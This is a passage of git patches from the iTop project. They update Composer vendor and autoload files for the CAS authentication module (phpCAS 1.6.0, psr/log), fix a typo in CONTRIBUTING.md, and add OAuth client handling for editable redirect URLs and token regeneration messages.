getInstalledPackages() + { + $packages = array(); + foreach (self::getInstalled() as $installed) { + $packages[] = array_keys($installed['versions']); + } + + if (1 === \count($packages)) { + return $packages[0]; + } + + return array_keys(array_flip(\call_user_func_array('array_merge', $packages))); + } + + /** + * Returns a list of all package names with a specific type e.g. 'library' + * + * @param string $type + * @return string[] + * @psalm-return list + */ + public static function getInstalledPackagesByType($type) + { + $packagesByType = array(); + + foreach (self::getInstalled() as $installed) { + foreach ($installed['versions'] as $name => $package) { + if (isset($package['type']) && $package['type'] === $type) { + $packagesByType[] = $name; + } + } + } + + return $packagesByType; + } + + /** + * Checks whether the given package is installed + * + * This also returns true if the package name is provided or replaced by another package + * + * @param string $packageName + * @param bool $includeDevRequirements + * @return bool + */ + public static function isInstalled($packageName, $includeDevRequirements = true) + { + foreach (self::getInstalled() as $installed) { + if (isset($installed['versions'][$packageName])) { + return $includeDevRequirements || empty($installed['versions'][$packageName]['dev_requirement']); + } + } + + return false; + } + + /** + * Checks whether the given package satisfies a version constraint + * + * e.g. If you want to know whether version 2.3+ of package foo/bar is installed, you would call: + * + * Composer\InstalledVersions::satisfies(new VersionParser, 'foo/bar', '^2.3') + * + * @param VersionParser $parser Install composer/semver to have access to this class and functionality + * @param string $packageName + * @param string|null $constraint A version constraint to check for, if you pass one you have to make sure composer/semver is required by your package + * @return bool + */ + public static function satisfies(VersionParser $parser, $packageName, $constraint) + { + $constraint = $parser->parseConstraints($constraint); + $provided = $parser->parseConstraints(self::getVersionRanges($packageName)); + + return $provided->matches($constraint); + } + + /** + * Returns a version constraint representing all the range(s) which are installed for a given package + * + * It is easier to use this via isInstalled() with the $constraint argument if you need to check + * whether a given version of a package is installed, and not just whether it exists + * + * @param string $packageName + * @return string Version constraint usable with composer/semver + */ + public static function getVersionRanges($packageName) + { + foreach (self::getInstalled() as $installed) { + if (!isset($installed['versions'][$packageName])) { + continue; + } + + $ranges = array(); + if (isset($installed['versions'][$packageName]['pretty_version'])) { + $ranges[] = $installed['versions'][$packageName]['pretty_version']; + } + if (array_key_exists('aliases', $installed['versions'][$packageName])) { + $ranges = array_merge($ranges, $installed['versions'][$packageName]['aliases']); + } + if (array_key_exists('replaced', $installed['versions'][$packageName])) { + $ranges = array_merge($ranges, $installed['versions'][$packageName]['replaced']); + } + if (array_key_exists('provided', $installed['versions'][$packageName])) { + $ranges = array_merge($ranges, $installed['versions'][$packageName]['provided']); + } + + return implode(' || ', $ranges); + } + + throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); + } + + /** + * @param string $packageName + * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as version, use satisfies or getVersionRanges if you need to know if a given version is present + */ + public static function getVersion($packageName) + { + foreach (self::getInstalled() as $installed) { + if (!isset($installed['versions'][$packageName])) { + continue; + } + + if (!isset($installed['versions'][$packageName]['version'])) { + return null; + } + + return $installed['versions'][$packageName]['version']; + } + + throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); + } + + /** + * @param string $packageName + * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as version, use satisfies or getVersionRanges if you need to know if a given version is present + */ + public static function getPrettyVersion($packageName) + { + foreach (self::getInstalled() as $installed) { + if (!isset($installed['versions'][$packageName])) { + continue; + } + + if (!isset($installed['versions'][$packageName]['pretty_version'])) { + return null; + } + + return $installed['versions'][$packageName]['pretty_version']; + } + + throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); + } + + /** + * @param string $packageName + * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as reference + */ + public static function getReference($packageName) + { + foreach (self::getInstalled() as $installed) { + if (!isset($installed['versions'][$packageName])) { + continue; + } + + if (!isset($installed['versions'][$packageName]['reference'])) { + return null; + } + + return $installed['versions'][$packageName]['reference']; + } + + throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); + } + + /** + * @param string $packageName + * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as install path. Packages of type metapackages also have a null install path. + */ + public static function getInstallPath($packageName) + { + foreach (self::getInstalled() as $installed) { + if (!isset($installed['versions'][$packageName])) { + continue; + } + + return isset($installed['versions'][$packageName]['install_path']) ? $installed['versions'][$packageName]['install_path'] : null; + } + + throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); + } + + /** + * @return array + * @psalm-return array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string} + */ + public static function getRootPackage() + { + $installed = self::getInstalled(); + + return $installed[0]['root']; + } + + /** + * Returns the raw installed.php data for custom implementations + * + * @deprecated Use getAllRawData() instead which returns all datasets for all autoloaders present in the process. getRawData only returns the first dataset loaded, which may not be what you expect. + * @return array[] + * @psalm-return array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array} + */ + public static function getRawData() + { + @trigger_error('getRawData only returns the first dataset loaded, which may not be what you expect. Use getAllRawData() instead which returns all datasets for all autoloaders present in the process.', E_USER_DEPRECATED); + + if (null === self::$installed) { + // only require the installed.php file if this file is loaded from its dumped location, + // and not from its source location in the composer/composer package, see https://github.com/composer/composer/issues/9937 + if (substr(__DIR__, -8, 1) !== 'C') { + self::$installed = include __DIR__ . '/installed.php'; + } else { + self::$installed = array(); + } + } + + return self::$installed; + } + + /** + * Returns the raw data of all installed.php which are currently loaded for custom implementations + * + * @return array[] + * @psalm-return list}> + */ + public static function getAllRawData() + { + return self::getInstalled(); + } + + /** + * Lets you reload the static array from another file + * + * This is only useful for complex integrations in which a project needs to use + * this class but then also needs to execute another project's autoloader in process, + * and wants to ensure both projects have access to their version of installed.php. + * + * A typical case would be PHPUnit, where it would need to make sure it reads all + * the data it needs from this class, then call reload() with + * `require $CWD/vendor/composer/installed.php` (or similar) as input to make sure + * the project in which it runs can then also use this class safely, without + * interference between PHPUnit's dependencies and the project's dependencies. + * + * @param array[] $data A vendor/composer/installed.php data set + * @return void + * + * @psalm-param array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array} $data + */ + public static function reload($data) + { + self::$installed = $data; + self::$installedByVendor = array(); + } + + /** + * @return array[] + * @psalm-return list}> + */ + private static function getInstalled() + { + if (null === self::$canGetVendors) { + self::$canGetVendors = method_exists('Composer\Autoload\ClassLoader', 'getRegisteredLoaders'); + } + + $installed = array(); + + if (self::$canGetVendors) { + foreach (ClassLoader::getRegisteredLoaders() as $vendorDir => $loader) { + if (isset(self::$installedByVendor[$vendorDir])) { + $installed[] = self::$installedByVendor[$vendorDir]; + } elseif (is_file($vendorDir.'/composer/installed.php')) { + $installed[] = self::$installedByVendor[$vendorDir] = require $vendorDir.'/composer/installed.php'; + if (null === self::$installed && strtr($vendorDir.'/composer', '\\', '/') === strtr(__DIR__, '\\', '/')) { + self::$installed = $installed[count($installed) - 1]; + } + } + } + } + + if (null === self::$installed) { + // only require the installed.php file if this file is loaded from its dumped location, + // and not from its source location in the composer/composer package, see https://github.com/composer/composer/issues/9937 + if (substr(__DIR__, -8, 1) !== 'C') { + self::$installed = require __DIR__ . '/installed.php'; + } else { + self::$installed = array(); + } + } + $installed[] = self::$installed; + + return $installed; + } +} diff --git a/datamodels/2.x/authent-cas/vendor/composer/autoload_classmap.php b/datamodels/2.x/authent-cas/vendor/composer/autoload_classmap.php index 5396a2faa..04cba0146 100644 --- a/datamodels/2.x/authent-cas/vendor/composer/autoload_classmap.php +++ b/datamodels/2.x/authent-cas/vendor/composer/autoload_classmap.php @@ -16,10 +16,12 @@ return array( 'CAS_Languages_ChineseSimplified' => $vendorDir . '/apereo/phpcas/source/CAS/Languages/ChineseSimplified.php', 'CAS_Languages_English' => $vendorDir . '/apereo/phpcas/source/CAS/Languages/English.php', 'CAS_Languages_French' => $vendorDir . '/apereo/phpcas/source/CAS/Languages/French.php', + 'CAS_Languages_Galego' => $vendorDir . '/apereo/phpcas/source/CAS/Languages/Galego.php', 'CAS_Languages_German' => $vendorDir . '/apereo/phpcas/source/CAS/Languages/German.php', 'CAS_Languages_Greek' => $vendorDir . '/apereo/phpcas/source/CAS/Languages/Greek.php', 'CAS_Languages_Japanese' => $vendorDir . '/apereo/phpcas/source/CAS/Languages/Japanese.php', 'CAS_Languages_LanguageInterface' => $vendorDir . '/apereo/phpcas/source/CAS/Languages/LanguageInterface.php', + 'CAS_Languages_Portuguese' => $vendorDir . '/apereo/phpcas/source/CAS/Languages/Portuguese.php', 'CAS_Languages_Spanish' => $vendorDir . '/apereo/phpcas/source/CAS/Languages/Spanish.php', 'CAS_OutOfSequenceBeforeAuthenticationCallException' => $vendorDir . '/apereo/phpcas/source/CAS/OutOfSequenceBeforeAuthenticationCallException.php', 'CAS_OutOfSequenceBeforeClientException' => $vendorDir . '/apereo/phpcas/source/CAS/OutOfSequenceBeforeClientException.php', @@ -49,6 +51,16 @@ return array( 'CAS_Request_Exception' => $vendorDir . '/apereo/phpcas/source/CAS/Request/Exception.php', 'CAS_Request_MultiRequestInterface' => $vendorDir . '/apereo/phpcas/source/CAS/Request/MultiRequestInterface.php', 'CAS_Request_RequestInterface' => $vendorDir . '/apereo/phpcas/source/CAS/Request/RequestInterface.php', + 'CAS_ServiceBaseUrl_AllowedListDiscovery' => $vendorDir . '/apereo/phpcas/source/CAS/ServiceBaseUrl/AllowedListDiscovery.php', + 'CAS_ServiceBaseUrl_Base' => $vendorDir . '/apereo/phpcas/source/CAS/ServiceBaseUrl/Base.php', + 'CAS_ServiceBaseUrl_Interface' => $vendorDir . '/apereo/phpcas/source/CAS/ServiceBaseUrl/Interface.php', + 'CAS_ServiceBaseUrl_Static' => $vendorDir . '/apereo/phpcas/source/CAS/ServiceBaseUrl/Static.php', + 'CAS_Session_PhpSession' => $vendorDir . '/apereo/phpcas/source/CAS/Session/PhpSession.php', 'CAS_TypeMismatchException' => $vendorDir . '/apereo/phpcas/source/CAS/TypeMismatchException.php', + 'Combodo\\iTop\\Cas\\CASLog' => $baseDir . '/src/CASLog.php', + 'Combodo\\iTop\\Cas\\CASLogger' => $baseDir . '/src/CASLogger.php', + 'Combodo\\iTop\\Cas\\CASLoginExtension' => $baseDir . '/src/CASLoginExtension.php', + 'Combodo\\iTop\\Cas\\Config' => $baseDir . '/src/Config.php', + 'Composer\\InstalledVersions' => $vendorDir . '/composer/InstalledVersions.php', 'phpCAS' => $vendorDir . '/apereo/phpcas/source/CAS.php', ); diff --git a/datamodels/2.x/authent-cas/vendor/composer/autoload_psr4.php b/datamodels/2.x/authent-cas/vendor/composer/autoload_psr4.php index b265c64a2..dcb11d390 100644 --- a/datamodels/2.x/authent-cas/vendor/composer/autoload_psr4.php +++ b/datamodels/2.x/authent-cas/vendor/composer/autoload_psr4.php @@ -6,4 +6,5 @@ $vendorDir = dirname(dirname(__FILE__)); $baseDir = dirname($vendorDir); return array( + 'Combodo\\iTop\\Cas\\' => array($baseDir . '/src'), ); diff --git a/datamodels/2.x/authent-cas/vendor/composer/autoload_real.php b/datamodels/2.x/authent-cas/vendor/composer/autoload_real.php index 95f36fa2d..ba22a4082 100644 --- a/datamodels/2.x/authent-cas/vendor/composer/autoload_real.php +++ b/datamodels/2.x/authent-cas/vendor/composer/autoload_real.php @@ -13,38 +13,34 @@ class ComposerAutoloaderInitfbc00f22d0b7b7b490d18e0252e08746 } } + /** + * @return \Composer\Autoload\ClassLoader + */ public static function getLoader() { if (null !== self::$loader) { return self::$loader; } + require __DIR__ . '/platform_check.php'; + spl_autoload_register(array('ComposerAutoloaderInitfbc00f22d0b7b7b490d18e0252e08746', 'loadClassLoader'), true, true); - self::$loader = $loader = new \Composer\Autoload\ClassLoader(); + self::$loader = $loader = new \Composer\Autoload\ClassLoader(\dirname(\dirname(__FILE__))); spl_autoload_unregister(array('ComposerAutoloaderInitfbc00f22d0b7b7b490d18e0252e08746', 'loadClassLoader')); $useStaticLoader = PHP_VERSION_ID >= 50600 && !defined('HHVM_VERSION') && (!function_exists('zend_loader_file_encoded') || !zend_loader_file_encoded()); if ($useStaticLoader) { - require_once __DIR__ . '/autoload_static.php'; + require __DIR__ . '/autoload_static.php'; call_user_func(\Composer\Autoload\ComposerStaticInitfbc00f22d0b7b7b490d18e0252e08746::getInitializer($loader)); } else { - $map = require __DIR__ . '/autoload_namespaces.php'; - foreach ($map as $namespace => $path) { - $loader->set($namespace, $path); - } - - $map = require __DIR__ . '/autoload_psr4.php'; - foreach ($map as $namespace => $path) { - $loader->setPsr4($namespace, $path); - } - $classMap = require __DIR__ . '/autoload_classmap.php'; if ($classMap) { $loader->addClassMap($classMap); } } + $loader->setClassMapAuthoritative(true); $loader->register(true); return $loader; diff --git a/datamodels/2.x/authent-cas/vendor/composer/autoload_static.php b/datamodels/2.x/authent-cas/vendor/composer/autoload_static.php index e9cf76615..1202986ec 100644 --- a/datamodels/2.x/authent-cas/vendor/composer/autoload_static.php +++ b/datamodels/2.x/authent-cas/vendor/composer/autoload_static.php @@ -6,6 +6,20 @@ namespace Composer\Autoload; class ComposerStaticInitfbc00f22d0b7b7b490d18e0252e08746 { + public static $prefixLengthsPsr4 = array ( + 'C' => + array ( + 'Combodo\\iTop\\Cas\\' => 17, + ), + ); + + public static $prefixDirsPsr4 = array ( + 'Combodo\\iTop\\Cas\\' => + array ( + 0 => __DIR__ . '/../..' . '/src', + ), + ); + public static $classMap = array ( 'CAS_AuthenticationException' => __DIR__ . '/..' . '/apereo/phpcas/source/CAS/AuthenticationException.php', 'CAS_Client' => __DIR__ . '/..' . '/apereo/phpcas/source/CAS/Client.php', @@ -17,10 +31,12 @@ class ComposerStaticInitfbc00f22d0b7b7b490d18e0252e08746 'CAS_Languages_ChineseSimplified' => __DIR__ . '/..' . '/apereo/phpcas/source/CAS/Languages/ChineseSimplified.php', 'CAS_Languages_English' => __DIR__ . '/..' . '/apereo/phpcas/source/CAS/Languages/English.php', 'CAS_Languages_French' => __DIR__ . '/..' . '/apereo/phpcas/source/CAS/Languages/French.php', + 'CAS_Languages_Galego' => __DIR__ . '/..' . '/apereo/phpcas/source/CAS/Languages/Galego.php', 'CAS_Languages_German' => __DIR__ . '/..' . '/apereo/phpcas/source/CAS/Languages/German.php', 'CAS_Languages_Greek' => __DIR__ . '/..' . '/apereo/phpcas/source/CAS/Languages/Greek.php', 'CAS_Languages_Japanese' => __DIR__ . '/..' . '/apereo/phpcas/source/CAS/Languages/Japanese.php', 'CAS_Languages_LanguageInterface' => __DIR__ . '/..' . '/apereo/phpcas/source/CAS/Languages/LanguageInterface.php', + 'CAS_Languages_Portuguese' => __DIR__ . '/..' . '/apereo/phpcas/source/CAS/Languages/Portuguese.php', 'CAS_Languages_Spanish' => __DIR__ . '/..' . '/apereo/phpcas/source/CAS/Languages/Spanish.php', 'CAS_OutOfSequenceBeforeAuthenticationCallException' => __DIR__ . '/..' . '/apereo/phpcas/source/CAS/OutOfSequenceBeforeAuthenticationCallException.php', 'CAS_OutOfSequenceBeforeClientException' => __DIR__ . '/..' . '/apereo/phpcas/source/CAS/OutOfSequenceBeforeClientException.php', @@ -50,13 +66,25 @@ class ComposerStaticInitfbc00f22d0b7b7b490d18e0252e08746 'CAS_Request_Exception' => __DIR__ . '/..' . '/apereo/phpcas/source/CAS/Request/Exception.php', 'CAS_Request_MultiRequestInterface' => __DIR__ . '/..' . '/apereo/phpcas/source/CAS/Request/MultiRequestInterface.php', 'CAS_Request_RequestInterface' => __DIR__ . '/..' . '/apereo/phpcas/source/CAS/Request/RequestInterface.php', + 'CAS_ServiceBaseUrl_AllowedListDiscovery' => __DIR__ . '/..' . '/apereo/phpcas/source/CAS/ServiceBaseUrl/AllowedListDiscovery.php', + 'CAS_ServiceBaseUrl_Base' => __DIR__ . '/..' . '/apereo/phpcas/source/CAS/ServiceBaseUrl/Base.php', + 'CAS_ServiceBaseUrl_Interface' => __DIR__ . '/..' . '/apereo/phpcas/source/CAS/ServiceBaseUrl/Interface.php', + 'CAS_ServiceBaseUrl_Static' => __DIR__ . '/..' . '/apereo/phpcas/source/CAS/ServiceBaseUrl/Static.php', + 'CAS_Session_PhpSession' => __DIR__ . '/..' . '/apereo/phpcas/source/CAS/Session/PhpSession.php', 'CAS_TypeMismatchException' => __DIR__ . '/..' . '/apereo/phpcas/source/CAS/TypeMismatchException.php', + 'Combodo\\iTop\\Cas\\CASLog' => __DIR__ . '/../..' . '/src/CASLog.php', + 'Combodo\\iTop\\Cas\\CASLogger' => __DIR__ . '/../..' . '/src/CASLogger.php', + 'Combodo\\iTop\\Cas\\CASLoginExtension' => __DIR__ . '/../..' . '/src/CASLoginExtension.php', + 'Combodo\\iTop\\Cas\\Config' => __DIR__ . '/../..' . '/src/Config.php', + 'Composer\\InstalledVersions' => __DIR__ . '/..' . '/composer/InstalledVersions.php', 'phpCAS' => __DIR__ . '/..' . '/apereo/phpcas/source/CAS.php', ); public static function getInitializer(ClassLoader $loader) { return \Closure::bind(function () use ($loader) { + $loader->prefixLengthsPsr4 = ComposerStaticInitfbc00f22d0b7b7b490d18e0252e08746::$prefixLengthsPsr4; + $loader->prefixDirsPsr4 = ComposerStaticInitfbc00f22d0b7b7b490d18e0252e08746::$prefixDirsPsr4; $loader->classMap = ComposerStaticInitfbc00f22d0b7b7b490d18e0252e08746::$classMap; }, null, ClassLoader::class); diff --git a/datamodels/2.x/authent-cas/vendor/composer/installed.json b/datamodels/2.x/authent-cas/vendor/composer/installed.json index cb01b031c..68a0853a9 100644 --- a/datamodels/2.x/authent-cas/vendor/composer/installed.json +++ b/datamodels/2.x/authent-cas/vendor/composer/installed.json @@ -1,59 +1,130 @@ -[ - { - "name": "apereo/phpcas", - "version": "1.3.7", - "version_normalized": "1.3.7.0", - "source": { - "type": "git", - "url": "https://github.com/apereo/phpCAS.git", - "reference": "b5b29102c3a42f570c4a3e852f3cf67cae6d6082" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/apereo/phpCAS/zipball/b5b29102c3a42f570c4a3e852f3cf67cae6d6082", - "reference": "b5b29102c3a42f570c4a3e852f3cf67cae6d6082", - "shasum": "" - }, - "require": { - "ext-curl": "*", - "php": ">=5.4.0" - }, - "require-dev": { - "phpunit/phpunit": "~3.7.10" - }, - "time": "2019-04-22T19:48:16+00:00", - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "1.3.x-dev" - } - }, - "installation-source": "dist", - "autoload": { - "classmap": [ - "source/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "Apache-2.0" - ], - "authors": [ - { - "name": "Joachim Fritschi", - "homepage": "https://wiki.jasig.org/display/~fritschi" +{ + "packages": [ + { + "name": "apereo/phpcas", + "version": "1.6.0", + "version_normalized": "1.6.0.0", + "source": { + "type": "git", + "url": "https://github.com/apereo/phpCAS.git", + "reference": "f817c72a961484afef95ac64a9257c8e31f063b9" }, - { - "name": "Adam Franco", - "homepage": "https://wiki.jasig.org/display/~adamfranco" - } - ], - "description": "Provides a simple API for authenticating users against a CAS server", - "homepage": "https://wiki.jasig.org/display/CASC/phpCAS", - "keywords": [ - "apereo", - "cas", - "jasig" - ] - } -] + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/apereo/phpCAS/zipball/f817c72a961484afef95ac64a9257c8e31f063b9", + "reference": "f817c72a961484afef95ac64a9257c8e31f063b9", + "shasum": "" + }, + "require": { + "ext-curl": "*", + "ext-dom": "*", + "php": ">=7.1.0", + "psr/log": "^1.0 || ^2.0 || ^3.0" + }, + "require-dev": { + "monolog/monolog": "^1.0.0 || ^2.0.0", + "phpstan/phpstan": "^1.5", + "phpunit/phpunit": ">=7.5" + }, + "time": "2022-10-31T20:39:27+00:00", + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.3.x-dev" + } + }, + "installation-source": "dist", + "autoload": { + "classmap": [ + "source/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "Apache-2.0" + ], + "authors": [ + { + "name": "Joachim Fritschi", + "email": "jfritschi@freenet.de", + "homepage": "https://github.com/jfritschi" + }, + { + "name": "Adam Franco", + "homepage": "https://github.com/adamfranco" + }, + { + "name": "Henry Pan", + "homepage": "https://github.com/phy25" + } + ], + "description": "Provides a simple API for authenticating users against a CAS server", + "homepage": "https://wiki.jasig.org/display/CASC/phpCAS", + "keywords": [ + "apereo", + "cas", + "jasig" + ], + "support": { + "issues": "https://github.com/apereo/phpCAS/issues", + "source": "https://github.com/apereo/phpCAS/tree/1.6.0" + }, + "install-path": "../apereo/phpcas" + }, + { + "name": "psr/log", + "version": "1.1.4", + "version_normalized": "1.1.4.0", + "source": { + "type": "git", + "url": "https://github.com/php-fig/log.git", + "reference": "d49695b909c3b7628b6289db5479a1c204601f11" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/php-fig/log/zipball/d49695b909c3b7628b6289db5479a1c204601f11", + "reference": "d49695b909c3b7628b6289db5479a1c204601f11", + "shasum": "" + }, + "require": { + "php": ">=5.3.0" + }, + "time": "2021-05-03T11:20:27+00:00", + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.1.x-dev" + } + }, + "installation-source": "dist", + "autoload": { + "psr-4": { + "Psr\\Log\\": "Psr/Log/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "PHP-FIG", + "homepage": "https://www.php-fig.org/" + } + ], + "description": "Common interface for logging libraries", + "homepage": "https://github.com/php-fig/log", + "keywords": [ + "log", + "psr", + "psr-3" + ], + "support": { + "source": "https://github.com/php-fig/log/tree/1.1.4" + }, + "install-path": "../psr/log" + } + ], + "dev": true, + "dev-package-names": [] +} diff --git a/datamodels/2.x/authent-cas/vendor/composer/installed.php b/datamodels/2.x/authent-cas/vendor/composer/installed.php new file mode 100644 index 000000000..2a1af2868 --- /dev/null +++ b/datamodels/2.x/authent-cas/vendor/composer/installed.php @@ -0,0 +1,41 @@ + array( + 'pretty_version' => 'dev-develop', + 'version' => 'dev-develop', + 'type' => 'library', + 'install_path' => __DIR__ . '/../../', + 'aliases' => array(), + 'reference' => 'b56f2f56f107b71ac0e54c88f421fbbd2c99d78d', + 'name' => '__root__', + 'dev' => true, + ), + 'versions' => array( + '__root__' => array( + 'pretty_version' => 'dev-develop', + 'version' => 'dev-develop', + 'type' => 'library', + 'install_path' => __DIR__ . '/../../', + 'aliases' => array(), + 'reference' => 'b56f2f56f107b71ac0e54c88f421fbbd2c99d78d', + 'dev_requirement' => false, + ), + 'apereo/phpcas' => array( + 'pretty_version' => '1.6.0', + 'version' => '1.6.0.0', + 'type' => 'library', + 'install_path' => __DIR__ . '/../apereo/phpcas', + 'aliases' => array(), + 'reference' => 'f817c72a961484afef95ac64a9257c8e31f063b9', + 'dev_requirement' => false, + ), + 'psr/log' => array( + 'pretty_version' => '1.1.4', + 'version' => '1.1.4.0', + 'type' => 'library', + 'install_path' => __DIR__ . '/../psr/log', + 'aliases' => array(), + 'reference' => 'd49695b909c3b7628b6289db5479a1c204601f11', + 'dev_requirement' => false, + ), + ), +); diff --git a/datamodels/2.x/authent-cas/vendor/composer/platform_check.php b/datamodels/2.x/authent-cas/vendor/composer/platform_check.php new file mode 100644 index 000000000..6d3407dbb --- /dev/null +++ b/datamodels/2.x/authent-cas/vendor/composer/platform_check.php @@ -0,0 +1,26 @@ += 70100)) { + $issues[] = 'Your Composer dependencies require a PHP version ">= 7.1.0". You are running ' . PHP_VERSION . '.'; +} + +if ($issues) { + if (!headers_sent()) { + header('HTTP/1.1 500 Internal Server Error'); + } + if (!ini_get('display_errors')) { + if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') { + fwrite(STDERR, 'Composer detected issues in your platform:' . PHP_EOL.PHP_EOL . implode(PHP_EOL, $issues) . PHP_EOL.PHP_EOL); + } elseif (!headers_sent()) { + echo 'Composer detected issues in your platform:' . PHP_EOL.PHP_EOL . str_replace('You are running '.PHP_VERSION.'.', '', implode(PHP_EOL, $issues)) . PHP_EOL.PHP_EOL; + } + } + trigger_error( + 'Composer detected issues in your platform: ' . implode(' ', $issues), + E_USER_ERROR + ); +} From e9c91d986db6ba0bee0ca2de10dd7158a4a02db6 Mon Sep 17 00:00:00 2001 From: Pierre Goiffon Date: Thu, 24 Nov 2022 08:58:44 +0100 Subject: [PATCH 053/230] :memo: CONTRIBUTING : fix typo (stash in stead of squash) Thanks Molkobain ! (https://github.com/Combodo/iTop/pull/371#discussion_r1030759606) --- CONTRIBUTING.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index ffa16522e..2bc9be339 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -132,7 +132,7 @@ Our tests are located in the `test/` directory, containing a PHPUnit config file When your code is working, please: -* stash as much as possible your commits, +* squash as much as possible your commits, * rebase your branch on our repo last commit, * create a pull request. From 74702c8d06072c83715d6a6807ee86ac890c5649 Mon Sep 17 00:00:00 2001 From: Eric Espie Date: Tue, 22 Nov 2022 17:18:41 +0100 Subject: [PATCH 054/230] =?UTF-8?q?N=C2=B05430=20-=20OAuth=20authenticatio?= =?UTF-8?q?n=20:=20customize=20redirect=20landing=20URL?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../datamodel.itop-oauth-client.xml | 40 +++++++++++++++---- .../en.dict.itop-oauth-client.php | 1 + .../fr.dict.itop-oauth-client.php | 1 + 3 files changed, 34 insertions(+), 8 deletions(-) diff --git a/datamodels/2.x/itop-oauth-client/datamodel.itop-oauth-client.xml b/datamodels/2.x/itop-oauth-client/datamodel.itop-oauth-client.xml index c39eb2f1d..3335ab29a 100644 --- a/datamodels/2.x/itop-oauth-client/datamodel.itop-oauth-client.xml +++ b/datamodels/2.x/itop-oauth-client/datamodel.itop-oauth-client.xml @@ -441,6 +441,21 @@ } ]]> + + false + protected + Overload-DBObject + ListChanges(); + if (array_key_exists('client_id', $aChanges) || array_key_exists('client_secret', $aChanges) || array_key_exists('redirect_url', $aChanges)) { + $sMessage = Dict::S('itop-oauth-client:Message:RegenerateToken'); + self::SetSessionMessage(get_class($this), $this->GetKey(), 'RegenerateToken', $sMessage, 'info', 1); + } + } + ]]> + false public @@ -450,15 +465,13 @@ parent::DoCheckToWrite(); $aChanges = $this->ListChanges(); - if (array_key_exists('name', $aChanges) || array_key_exists('used_for_smtp', $aChanges)) - { + if (array_key_exists('name', $aChanges) || array_key_exists('used_for_smtp', $aChanges)) { $sNewName = $this->Get('name'); $sNewUseForSMTP = $this->Get('used_for_smtp'); if ($sNewUseForSMTP == 'yes') { $oSearch = DBObjectSearch::FromOQL_AllData("SELECT OAuthClientGoogle WHERE name = :newname AND used_for_smtp = :newuseforsmtp AND id != :id UNION SELECT OAuthClientAzure WHERE name = :newname AND used_for_smtp = :newuseforsmtp AND id != :id"); $oSet = new DBObjectSet($oSearch, array(), ['id' => $this->GetKey(), 'newname' => $sNewName, 'newuseforsmtp' => $sNewUseForSMTP]); - if ($oSet->Count() > 0) - { + if ($oSet->Count() > 0) { $this->m_aCheckIssues[] = Dict::Format('OAuthClient:Name/UseForSMTPMustBeUnique', $sNewName, $sNewUseForSMTP); } } @@ -500,7 +513,6 @@ { switch ($sAttCode) { case 'provider': - case 'redirect_url': case 'used_scope': return OPT_ATT_READONLY; } @@ -518,7 +530,6 @@ { switch ($sAttCode) { case 'provider': - case 'redirect_url': case 'used_scope': return OPT_ATT_READONLY; } @@ -800,7 +811,6 @@ { switch ($sAttCode) { case 'provider': - case 'redirect_url': case 'used_scope': return OPT_ATT_READONLY; } @@ -818,7 +828,6 @@ { switch ($sAttCode) { case 'provider': - case 'redirect_url': case 'used_scope': return OPT_ATT_READONLY; } @@ -863,6 +872,21 @@ } ]]> + + false + protected + Overload-DBObject + ListChanges(); + if (array_key_exists('client_id', $aChanges) || array_key_exists('client_secret', $aChanges) || array_key_exists('redirect_url', $aChanges)) { + $sMessage = Dict::S('itop-oauth-client:Message:RegenerateToken'); + self::SetSessionMessage(get_class($this), $this->GetKey(), 'RegenerateToken', $sMessage, 'info', 1); + } + } + ]]> + diff --git a/datamodels/2.x/itop-oauth-client/en.dict.itop-oauth-client.php b/datamodels/2.x/itop-oauth-client/en.dict.itop-oauth-client.php index 5c3a66132..630eaea63 100644 --- a/datamodels/2.x/itop-oauth-client/en.dict.itop-oauth-client.php +++ b/datamodels/2.x/itop-oauth-client/en.dict.itop-oauth-client.php @@ -19,6 +19,7 @@ Dict::Add('EN US', 'English', 'English', [ 'itop-oauth-client:TestSMTP' => 'Email send test', 'itop-oauth-client:MissingOAuthClient' => 'Missing Oauth client for user name %1$s', 'itop-oauth-client:Message:MissingToken' => 'Generate access token before using this OAuth client', + 'itop-oauth-client:Message:RegenerateToken' => 'Regenerate access token to to take into account the changes', 'itop-oauth-client:Message:TokenCreated' => 'Access token created', 'itop-oauth-client:Message:TokenRecreated' => 'Access token regenerated', 'itop-oauth-client:Message:TokenError' => 'Access token not generated due to server error', diff --git a/datamodels/2.x/itop-oauth-client/fr.dict.itop-oauth-client.php b/datamodels/2.x/itop-oauth-client/fr.dict.itop-oauth-client.php index 339538d52..9797153e8 100644 --- a/datamodels/2.x/itop-oauth-client/fr.dict.itop-oauth-client.php +++ b/datamodels/2.x/itop-oauth-client/fr.dict.itop-oauth-client.php @@ -19,6 +19,7 @@ Dict::Add('FR FR', 'French', 'Français', [ 'itop-oauth-client:TestSMTP' => 'Tester l\'envoi de mail', 'itop-oauth-client:MissingOAuthClient' => 'Il n\'y a pas de client OAuth pour l\'utilisateur %1$s', 'itop-oauth-client:Message:MissingToken' => 'Générez le jeton d\'accès avant d\'utiliser ce client OAuth', + 'itop-oauth-client:Message:RegenerateToken' => 'Re-générez le jeton d\'accès prendre en compte les 